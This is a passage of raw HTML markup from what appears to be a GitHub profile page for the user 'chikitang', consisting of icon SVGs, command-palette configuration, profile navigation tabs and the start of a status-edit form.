1.75 0 0010.25 1h-8.5zM14.5 4.75a.25.25 0 00-.25-.25h-.5a.75.75 0 110-1.5h.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0114.25 12H14v1.543a1.457 1.457 0 01-2.487 1.03L9.22 12.28a.75.75 0 111.06-1.06l2.22 2.22v-2.19a.75.75 0 01.75-.75h1a.25.25 0 00.25-.25v-5.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-color-fg-muted"> <svg height="16" class="octicon octicon-bell color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-slash-color-fg-muted"> <svg height="16" class="octicon octicon-bell-slash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1.5c-.997 0-1.895.416-2.534 1.086A.75.75 0 014.38 1.55 5 5 0 0113 5v2.373a.75.75 0 01-1.5 0V5A3.5 3.5 0 008 1.5zM4.182 4.31L1.19 2.143a.75.75 0 10-.88 1.214L3 5.305v2.642a.25.25 0 01-.042.139L1.255 10.64A1.518 1.518 0 002.518 13h11.108l1.184.857a.75.75 0 10.88-1.214l-1.375-.996a1.196 1.196 0 00-.013-.01L4.198 4.321a.733.733 0 00-.016-.011zm7.373 7.19L4.5 6.391v1.556c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01.015.015 0 00.005.012.017.017 0 00.006.004l.007.001h9.037zM8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="paintbrush-color-fg-muted"> <svg height="16" class="octicon octicon-paintbrush color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.134 1.535C9.722 2.562 8.16 4.057 6.889 5.312 5.8 6.387 5.041 7.401 4.575 8.294a3.745 3.745 0 00-3.227 1.054c-.43.431-.69 1.066-.86 1.657a11.982 11.982 0 00-.358 1.914A21.263 21.263 0 000 15.203v.054l.75-.007-.007.75h.054a14.404 14.404 0 00.654-.012 21.243 21.243 0 001.63-.118c.62-.07 1.3-.18 1.914-.357.592-.17 1.226-.43 1.657-.861a3.745 3.745 0 001.055-3.217c.908-.461 1.942-1.216 3.04-2.3 1.279-1.262 2.764-2.825 3.775-4.249.501-.706.923-1.428 1.125-2.096.2-.659.235-1.469-.368-2.07-.606-.607-1.42-.55-2.069-.34-.66.213-1.376.646-2.076 1.155zm-3.95 8.48a3.76 3.76 0 00-1.19-1.192 9.758 9.758 0 011.161-1.607l1.658 1.658a9.853 9.853 0 01-1.63 1.142zM.742 16l.007-.75-.75.008A.75.75 0 00.743 16zM12.016 2.749c-1.224.89-2.605 2.189-3.822 3.384l1.718 1.718c1.21-1.205 2.51-2.597 3.387-3.833.47-.662.78-1.227.912-1.662.134-.444.032-.551.009-.575h-.001V1.78c-.014-.014-.112-.113-.548.027-.432.14-.995.462-1.655.942zM1.62 13.089a19.56 19.56 0 00-.104 1.395 19.55 19.55 0 001.396-.104 10.528 10.528 0 001.668-.309c.526-.151.856-.325 1.011-.48a2.25 2.25 0 00-3.182-3.182c-.155.155-.329.485-.48 1.01a10.515 10.515 0 00-.309 1.67z"></path></svg> </div> <command-palette-item-group data-group-id="top" data-group-title="Top result" data-group-hint="" data-group-limits="{}" data-default-priority="0" > </command-palette-item-group> <command-palette-item-group data-group-id="commands" data-group-title="Commands" data-group-hint="Type > to filter" data-group-limits="{"static_items_page":50,"issue":50,"pull_request":50,"discussion":50}" data-default-priority="1" > </command-palette-item-group> <command-palette-item-group data-group-id="global_commands" data-group-title="Global Commands" data-group-hint="Type > to filter" data-group-limits="{"issue":0,"pull_request":0,"discussion":0}" data-default-priority="2" > </command-palette-item-group> <command-palette-item-group data-group-id="this_page" data-group-title="This Page" data-group-hint="" data-group-limits="{}" data-default-priority="3" > </command-palette-item-group> <command-palette-item-group data-group-id="files" data-group-title="Files" data-group-hint="" data-group-limits="{}" data-default-priority="4" > </command-palette-item-group> <command-palette-item-group data-group-id="default" data-group-title="Default" data-group-hint="" data-group-limits="{"static_items_page":50}" data-default-priority="5" > </command-palette-item-group> <command-palette-item-group data-group-id="pages" data-group-title="Pages" data-group-hint="" data-group-limits="{"repository":10}" data-default-priority="6" > </command-palette-item-group> <command-palette-item-group data-group-id="access_policies" data-group-title="Access Policies" data-group-hint="" data-group-limits="{}" data-default-priority="7" > </command-palette-item-group> <command-palette-item-group data-group-id="organizations" data-group-title="Organizations" data-group-hint="" data-group-limits="{}" data-default-priority="8" > </command-palette-item-group> <command-palette-item-group data-group-id="repositories" data-group-title="Repositories" data-group-hint="" data-group-limits="{}" data-default-priority="9" > </command-palette-item-group> <command-palette-item-group data-group-id="references" data-group-title="Issues, pull requests, and discussions" data-group-hint="Type # to filter" data-group-limits="{}" data-default-priority="10" > </command-palette-item-group> <command-palette-item-group data-group-id="teams" data-group-title="Teams" data-group-hint="" data-group-limits="{}" data-default-priority="11" > </command-palette-item-group> <command-palette-item-group data-group-id="users" data-group-title="Users" data-group-hint="" data-group-limits="{}" data-default-priority="12" > </command-palette-item-group> <command-palette-item-group data-group-id="projects" data-group-title="Projects" data-group-hint="" data-group-limits="{}" data-default-priority="13" > </command-palette-item-group> <command-palette-item-group data-group-id="footer" data-group-title="Footer" data-group-hint="" data-group-limits="{}" data-default-priority="14" > </command-palette-item-group> <command-palette-item-group data-group-id="modes_help" data-group-title="Modes" data-group-hint="" data-group-limits="{}" data-default-priority="15" > </command-palette-item-group> <command-palette-item-group data-group-id="filters_help" data-group-title="Use filters in issues, pull requests, discussions, and projects" data-group-hint="" data-group-limits="{}" data-default-priority="16" > </command-palette-item-group> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" data-targets="command-palette-page-stack.defaultPages" hidden > </command-palette-page> </div> <command-palette-page data-is-root> </command-palette-page> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" > </command-palette-page> </command-palette-page-stack> <server-defined-provider data-type="search-links" data-targets="command-palette.serverDefinedProviderElements"></server-defined-provider> <server-defined-provider data-type="help" data-targets="command-palette.serverDefinedProviderElements"> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues</strong> and <strong>pull requests</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues, pull requests, discussions,</strong> and <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="@" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>organizations, repositories,</strong> and <strong>users</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">@</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="!" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">!</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="/" data-scope-types="["repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>files</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">/</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix=">" > <span data-target="command-palette-help.titleElement">Activate <strong>command mode</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">></kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:pr" > <span data-target="command-palette-help.titleElement">Filter to pull requests</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:pr</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:issue" > <span data-target="command-palette-help.titleElement">Filter to issues</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:issue</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:discussion" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:discussion</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:project" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to projects</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:project</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:open" > <span data-target="command-palette-help.titleElement">Filter to open issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:open</kbd> </span> </command-palette-help> </server-defined-provider> <server-defined-provider data-type="commands" data-fetch-debounce="0" data-src="/command_palette/commands" data-supported-modes="[]" data-supports-commands data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_page_navigation" data-supported-modes="[""]" data-supported-scope-types="["","owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to" data-supported-modes="["@","@"]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to_members_only" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_members_only_prefetched" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="files" data-fetch-debounce="0" data-src="/command_palette/files" data-supported-modes="["/"]" data-supported-scope-types="["repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/discussions" data-supported-modes="["#"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/projects" data-supported-modes="["#","!"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/recent_issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/teams" data-supported-modes="["@",""]" data-supported-scope-types="["owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/name_with_owner_repository" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> </command-palette> </details-dialog> </details> <div class="position-fixed bottom-0 left-0 ml-5 mb-5 js-command-palette-toasts" style="z-index: 1000"> <div hidden class="Toast Toast--loading"> <span class="Toast-icon"> <svg class="Toast--spinner" viewBox="0 0 32 32" width="18" height="18" aria-hidden="true"> <path fill="#959da5" d="M16 0 A16 16 0 0 0 16 32 A16 16 0 0 0 16 0 M16 4 A12 12 0 0 1 16 28 A12 12 0 0 1 16 4" /> <path fill="#ffffff" d="M16 0 A16 16 0 0 1 32 16 L28 16 A12 12 0 0 0 16 4z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--error"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-stop"> <path fill-rule="evenodd" d="M4.47.22A.75.75 0 015 0h6a.75.75 0 01.53.22l4.25 4.25c.141.14.22.331.22.53v6a.75.75 0 01-.22.53l-4.25 4.25A.75.75 0 0111 16H5a.75.75 0 01-.53-.22L.22 11.53A.75.75 0 010 11V5a.75.75 0 01.22-.53L4.47.22zm.84 1.28L1.5 5.31v5.38l3.81 3.81h5.38l3.81-3.81V5.31L10.69 1.5H5.31zM8 4a.75.75 0 01.75.75v3.5a.75.75 0 01-1.5 0v-3.5A.75.75 0 018 4zm0 8a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--warning"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--success"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-info"> <path fill-rule="evenodd" d="M8 1.5a6.5 6.5 0 100 13 6.5 6.5 0 000-13zM0 8a8 8 0 1116 0A8 8 0 010 8zm6.5-.25A.75.75 0 017.25 7h1a.75.75 0 01.75.75v2.75h.25a.75.75 0 010 1.5h-2a.75.75 0 010-1.5h.25v-2h-.25a.75.75 0 01-.75-.75zM8 6a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> </div> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <main id="js-pjax-container" data-pjax-container> <div class="mt-4 position-sticky top-0 d-none d-md-block color-bg-default width-full border-bottom color-border-muted" style="z-index:3;" > <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="user-profile-sticky-bar"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav width-full box-shadow-none js-responsive-underlinenav overflow-md-x-hidden"> <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_OVERVIEW","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_REPOSITORIES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PROJECTS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PACKAGES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_STARS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&type=beta" href="/chikitang?tab=projects&type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> </div> </div> </div> </div> <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="h-card mt-md-n5" data-acv-badge-hovercards-enabled itemscope itemtype="http://schema.org/Person" > <div class="user-profile-sticky-bar js-user-profile-sticky-bar d-none d-md-block"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> <div class="js-profile-editable-replace"> <div class="clearfix d-flex d-md-block flex-items-center mb-4 mb-md-0"> <div class="position-relative d-inline-block col-2 col-md-12 mr-3 mr-md-0 flex-shrink-0" style="z-index:4;" > <a class="tooltipped tooltipped-s d-block" aria-label="Change your avatar" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_AVATAR","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="fe768eb126278f5ea2e2be2a694fd8f3a8db38717e25f9387d181f875bad4f31" href="https://github.com/account"><img style="height:auto;" alt="" width="260" height="260" class="avatar avatar-user width-full border color-bg-default" src="https://avatars.githubusercontent.com/u/107093285?v=4" /></a> <div class="user-status-container position-relative hide-sm hide-md"> <div class="f5 js-user-status-context user-status-circle-badge-container user-status-editable" data-url="/users/status?circle=1&compact=0&link_mentions=1&truncate=0" > <div class="js-user-status-container user-status-circle-badge d-inline-block lh-condensed-ultra p-2" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_USER_STATUS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-inline-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center "> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" ws-normal user-status-message-wrapper f6 min-width-0" > <div class="css-truncate css-truncate-target width-fit color-fg-default"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=1&compact=0&link_mentions=1&truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="TROZQ1psazHuv4SfB_6CRG81LOswktW22NJDqz2bjfsh_3WyNIJmw91nORchhJS4niNrCWbssHaAEqHwSouerQ" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 